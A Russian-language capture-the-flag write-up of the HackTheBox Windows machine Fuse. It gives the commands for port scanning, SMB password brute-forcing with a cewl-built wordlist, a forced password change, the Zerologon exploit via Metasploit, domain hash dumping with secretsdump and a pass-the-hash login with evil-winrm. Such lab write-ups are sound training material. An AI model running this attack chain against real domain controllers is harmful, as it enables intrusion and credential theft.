Приветствую!
Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Fuse (Windows).Сегодня мы научимся применять разведку в Active Directory, а так же рассмотрим Zerologon exploit! Начинаем)
Данные:
Задача: Скомпрометировать машину на Windows и взять два флага user.txt и root.txtОсновная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.193
IP адрес основной машины - 10.10.14.21
Начальная разведка и сканирование портов:
Не будем идти по классике сканирования nmap'ом, а попробуем что-то новенькое и это... Masscan:Masscan - это массовый сканер IP портов. Это самый быстрый сканер Интернета.
С его помощью мы быстро определим открытые порты на машине:
masscan -p1-65535,U:1-65535 10.10.10.193 --rate=500 -e tun0
В параметре -p передаём диапазон портов для сканирования, в параметре -U - диапазон upd портов, --rate указываем количество пакетов в секунду, а последний параметр -e указывает наш интерфейс:
Получаем достаточно большое количество портов...
Хорошо, видим самые важные для нас порты: 80/tcp (web), 88/tcp (kerberos), 135/tcp (rpc), 445/tcp (smb) и ещё несколько.
Просканируем их с помощью nmap:
nmap -sC -sV 10.10.10.193 -p 53,80,88,135,445,3269,3268,5985,9389
Указываем параметр:
-sC - Для применения дефолтных (по умолчанию) скриптов к сканированию.
-sV - Для сканирования версий служб, в сторону которых мы сможем позже применить уязвимости и CVE.
-p - Указываем наши порты.
Видим доменное имя, добавим его в /etc/hosts:
echo '10.10.10.193 fabricorp.local' >> /etc/hosts
Теперь перейдем на сайт:
На сайте висит домен fuse.fabricorp.local, тоже добавляем его в хосты.
Принтеры... Давайте поищем информацию на сайте, на вкладке HTML нажмем на View:
Видим пользователей, полазим по этим трём ссылкам и соберем их имена в файл users.txt:
Все юзеры которых мы смогли найти на сайте, теперь давайте попробуем дополнить список и запустим Enum4linux:
enum4linux -a 10.10.10.193
К сожалению, он так ничего и не смог найти. Тогда давайте попробуем подобрать пароли к пользователям, будем использовать CrackMapExec:
crackmapexec smb -u users.txt -p users.txt --shares 10.10.10.193
Опять ничего... Теперь очередь испытать Cewl:
Cewl - это утилита собранная на Ruby, которая просматривает указанный URL-адрес до указанной глубины и возвращает вордлист (список).
cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > passwords.txt
Укажем его с параметром --with-numbers который будет принимать слова в которых есть числа также, как и слова просто из букв.
Получаем список паролей для брута, повторим эксперимент с CrackMapExec:
crackmapexec smb -u users.txt -p passwords.txt --shares 10.10.10.193 --continue-on-success
Здесь параметр --continue-on-success продолжает работу брутфорса в случае удачи, а не останавливает его.
Брутфорс займет значительное время, поэтому запасёмся терпением и ожидая окончания.
Получение пользователя:
Среди неудач видим странный статус логина... Написано что нужно поменять пароль пользователю bhult, давайте сделаем это, применив здесь команду smbpasswd:
smbpasswd -r 10.10.10.193 bhult
Флажком этой команды выступает -r он указывает удаленную машину (remote).
Нас просят вставить старый пароль, выставляем - Fabricorp01.
Новый пароль сделаем - ASDASDqwe1!@ и повторим его:
Мы успешно сменили пароль этому пользователю, видим перед собой SMB папку NETLOGON.
Из результатов сканирования CrackMapExec мы знаем NetBIOS имя - FUSE.
Эксплоит и получение флагов:
Давайте попробуем использовать уязвимость Zerologon:Zerologon - уязвимость в криптографии протокола Microsoft Windows Netlogon, которая делает возможной атаку на контроллеры доменов Microsoft Active Directory, позволяя злоумышленнику выдать свои действия за действия любого компьютера.
С её помощью мы сбросим NTLM-хэш администратора и будем действовать!
Запустим Metasploit и его модуль auxiliary/admin/dcerpc/cve_2020_1472_zerologon:
Ура! У нас получилось, теперь используя impacket-secretsdump узнаем все хэши на тачке:
secretsdump.py -no-pass -just-dc fabricorp.local/FUSE\$@10.10.10.193
Теперь атакой Path-The-Hash через Evil-WinRM зайдём под администратором:
./evil-winrm.rb -i 10.10.10.193 -u Administrator -H '370ddcf45959b2293427baa70376e14e'
Мы Администратор! Выведем два флага:
Огромное спасибо за чтение, скоро буду
Последнее редактирование: